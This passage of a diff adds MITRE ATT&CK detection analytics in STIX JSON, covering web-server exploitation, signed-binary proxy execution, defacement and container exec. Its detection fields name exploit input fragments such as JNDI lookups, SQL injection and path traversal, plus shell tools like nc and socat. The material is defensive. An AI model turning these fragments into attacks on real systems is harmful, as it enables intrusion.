"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PublicVIPs", + "description": "List of public IPs/hostnames that front apps; used to scope web log and Zeek/proxy data." + }, + { + "field": "SuspiciousPatterns", + "description": "Regex set for exploit-like inputs (../, union select, cmd=, ${jndi:, rO0AB (Java serialization), %00, ${env:}, ${${::-j}ndi})." + }, + { + "field": "ErrorRateThreshold", + "description": "Spike threshold for HTTP status 5xx/4xx per client or URI (e.g., >5 in 5m)." + }, + { + "field": "TimeWindow", + "description": "Correlation horizon between request, error, process spawn, and egress (e.g., 15 minutes)." + }, + { + "field": "AllowedChildList", + "description": "Known child processes of app pools (e.g., msbuild.exe in CI) to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a4ce8f28-db09-4b0d-bb8d-a77ba3cef3c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0220", + "external_id": "AN0220" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0220", + "description": "Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs \u2192 (2) spike of 5xx or WAF blocks \u2192 (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell \u2192 (4) outbound callback.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:WebServer", + "channel": "/var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebProcList", + "description": "server/interpreter names to watch (apache2, httpd, nginx, php-fpm, uwsgi, gunicorn, node)." + }, + { + "field": "ChildToolList", + "description": "post-exploitation binaries (sh, bash, curl, wget, python, perl, socat, nc)." + }, + { + "field": "BurstThreshold", + "description": "Rate of errors/requests per src_ip/uri to flag reconnaissance/exploit spray." + }, + { + "field": "TimeWindow", + "description": "Exec/network correlation window." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ddab6d30-7e37-462e-b183-39c7ceb2b986", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0221", + "external_id": "AN0221" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0221", + "description": "Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request \u2192 service crash/5xx \u2192 service spawns shell or writes file \u2192 new outbound connection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "App/web server logs ingested via unified logging or filebeat (nginx/apache/node)." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec events where web process starts a shell/tooling" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "outbound egress from web host after suspicious request" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceList", + "description": "Names/paths of public daemons on macOS (httpd, nginx, node, java)." + }, + { + "field": "TimeWindow", + "description": "Correlation window for request \u2192 exec \u2192 egress." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a57ad75c-331e-4607-b358-61f4cddb8a5d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0222", + "external_id": "AN0222" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0222", + "description": "Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs \u2192 (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) \u2192 (3) egress to Internet or metadata service (169.254.169.254).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:Ingress", + "channel": "Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "docker:events", + "channel": "Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Requests towards cloud metadata or command & control from pod IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IngressNamespaces", + "description": "Namespaces that are Internet-facing." + }, + { + "field": "MetadataEndpoints", + "description": "Cloud metadata IPs/hostnames for exfil of credentials." + }, + { + "field": "TimeWindow", + "description": "Join period between ingress request and pod exec/egress." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17f9487f-711d-4f28-9de8-209ae39d33d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0223", + "external_id": "AN0223" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0223", + "description": "Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes \u2192 (2) workload spawns shell or reaches metadata API \u2192 (3) egress to new external hosts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "ALB:HTTPLogs", + "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LBProjects", + "description": "Cloud accounts/subscriptions/regions to include." + }, + { + "field": "ErrorBurst", + "description": "5xx/4xx per client threshold." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0668f39a-d319-427f-b29b-160399e6f79a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0224", + "external_id": "AN0224" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0224", + "description": "Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service \u2192 hostd/vpxd error/crash/restart \u2192 unexpected process behavior or datastore access \u2192 outbound callback.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "/var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtCIDR", + "description": "Only trusted admin networks should reach ESXi/vCenter." + }, + { + "field": "TimeWindow", + "description": "Join errors and inbound flows." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72298803-0644-477f-be89-01b173202577", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0225", + "external_id": "AN0225" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0225", + "description": "Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs \u2192 device syslog errors/restarts \u2192 config changes/CLI spawn \u2192 egress to attacker C2.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "networkdevice:controlplane", + "channel": "Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MgmtPorts", + "description": "List of admin services to watch (8443, 443, 161/udp, 4786, 22)." + }, + { + "field": "TrustedAdmins", + "description": "Admin source ranges to allow." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--865c00d7-fc01-4ce6-8fc8-d7a84f2ded36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0081#AN0226", + "external_id": "AN0226" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0226", + "description": "Execution of trusted, Microsoft-signed binaries such as `rundll32.exe`, `msiexec.exe`, or `regsvr32.exe` used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Used to profile unexpected parent-child relationships (e.g., regsvr32.exe not launched by explorer.exe)" + }, + { + "field": "SignedBinaryList", + "description": "List of known signed binaries allowed for execution (e.g., msiexec.exe, regsvr32.exe)" + }, + { + "field": "CommandLineRegex", + "description": "Regex to match suspicious arguments, such as URLs, script paths, or DLL entrypoints" + }, + { + "field": "RemoteDomainAllowlist", + "description": "Filter to suppress activity contacting legitimate enterprise domains" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--273d7b27-6b7d-4017-a7f6-0cd02fd3a128", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0081#AN0227", + "external_id": "AN0227" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0227", + "description": "Execution of trusted system binaries (e.g., `split`, `tee`, `bash`, `env`) used in uncommon sequences or chained behaviors to execute malicious payloads or perform actions inconsistent with normal system or script behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "open or connect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedBinaryList", + "description": "Binaries like `split`, `tee`, `env`, `awk`, `gzip`, often used in benign scripts" + }, + { + "field": "AnomalyScore", + "description": "Outlier model for process tree and command arguments" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e461dab-922c-48cc-aafc-51f20025bf27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0081#AN0228", + "external_id": "AN0228" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0228", + "description": "Use of system binaries such as `osascript`, `bash`, or `curl` to download or execute unsigned code or files in conjunction with application proxying.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec of osascript, bash, curl with suspicious parameters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "execution of trusted tools interacting with external endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedUtilityList", + "description": "macOS binary whitelist including `/usr/bin/osascript`, `/bin/bash`, `/usr/bin/curl`" + }, + { + "field": "SignedToUnsignedTransition", + "description": "Used to detect proxy execution from signed binary to unsigned payload" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--78c505c6-25a1-4cc5-b44a-0574aa019f01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0229", + "external_id": "AN0229" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0229", + "description": "Adversary modifies internal UI messages (e.g., login banners, desktop wallpapers) or hosted intranet web pages by creating or altering content files using scripts or unauthorized access. Often preceded by privilege escalation or web shell deployment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4670, 4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathPattern", + "description": "Location of web content or system UI config files that may vary across deployments (e.g., %SystemRoot%\\Web, %APPDATA%\\wallpaper.jpg)" + }, + { + "field": "TimeWindow", + "description": "Allowed hours for file/content modification events; defacement likely occurs during off-hours" + }, + { + "field": "UserContext", + "description": "System or domain accounts used to perform the modifications may be anomalous" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8ba0c3e2-9544-47d1-9738-757c35dc19fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0230", + "external_id": "AN0230" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0230", + "description": "Adversary leverages root or sudo access to alter system banners, web content directories (e.g., /var/www/html), or login configurations (/etc/issue). File creation or overwrites may coincide with suspicious script execution or cron job activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write/unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "linux:syslog", + "channel": "sudo or su access prior to content change" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDirectories", + "description": "Paths like /var/www/html, /etc/issue, or /etc/motd may vary across distros" + }, + { + "field": "UserContext", + "description": "Non-web-admin users modifying site content or banners should be rare" + }, + { + "field": "TimeWindow", + "description": "Defacement often happens outside normal maintenance hours" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--83d3222d-6a35-401d-95b5-a09f0eac2201", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0231", + "external_id": "AN0231" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0231", + "description": "Modification of user desktop backgrounds, login screen messages, or system banners by adversaries using admin privileges or script execution. May coincide with tampering in /Library/Desktop Pictures/ or use of AppleScript.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "loginwindow or desktopservices modified settings or files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "osascript or AppleScript invocation modifying UI" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptNames", + "description": "Uncommon scripts like AppleScript variants or osascript for wallpaper changes" + }, + { + "field": "UserContext", + "description": "Normal users should not alter global visual settings" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c024ed9a-02bf-436d-93f5-444e45124e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0082#AN0232", + "external_id": "AN0232" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0232", + "description": "Adversary modifies ESXi host login banner or MOTD file (/etc/motd), either through SSH or host console access. May involve configuration file overwrite or API calls from compromised vSphere clients.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "ESXiLogs:messages", + "channel": "changes to /etc/motd or /etc/vmware/welcome" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "modification of config files or shell command execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LoginBannerFilePath", + "description": "Target file paths (e.g., /etc/motd) may be changed via symbolic link or override" + }, + { + "field": "AccessOrigin", + "description": "ESXi hostd vs. SSH-based defacement origin may affect visibility" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e4dd4100-2387-4029-a478-35aefd37c288", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0083#AN0233", + "external_id": "AN0233" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0233", + "description": "Execution of container orchestration commands (e.g., `docker exec`, `kubectl exec`) or API-driven interactions with running containers from unauthorized hosts or non-standard user contexts. Defender sees programmatic or interactive command execution within containers outside expected CI/CD tools or automation frameworks, often followed by file writes, privilege escalation, or lateral discovery.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", + "name": "docker:events", + "channel": "exec_create: docker exec events targeting running containers from non-CI sources" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "kubernetes:apiserver", + "channel": "create/exec: Kubernetes API calls to exec into containers or create pods from curl, kubectl, or SDK clients" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76", + "name": "AWS:CloudTrail", + "channel": "CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "kubernetes:audit", + "channel": "Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedUserAgents", + "description": "List of CI/CD pipeline runners, SRE tools, or cluster mgmt agents allowed to invoke API/CLI commands in containers." + }, + { + "field": "NewImageThreshold", + "description": "Threshold for alerting on unseen container images pulled and executed. Adjust to reduce noise from frequent deploys." + }, + { + "field": "TimeWindow", + "description": "Temporal window to correlate container exec with shell spawn and network activity (default: 2 minutes)." + }, + { + "field": "InteractiveSessionExpectation", + "description": "Set whether shell spawns without TTY or PTY should be flagged \u2014 based on org deployment model." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--602def5b-49e4-4c64-afe6-1476eac13e67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 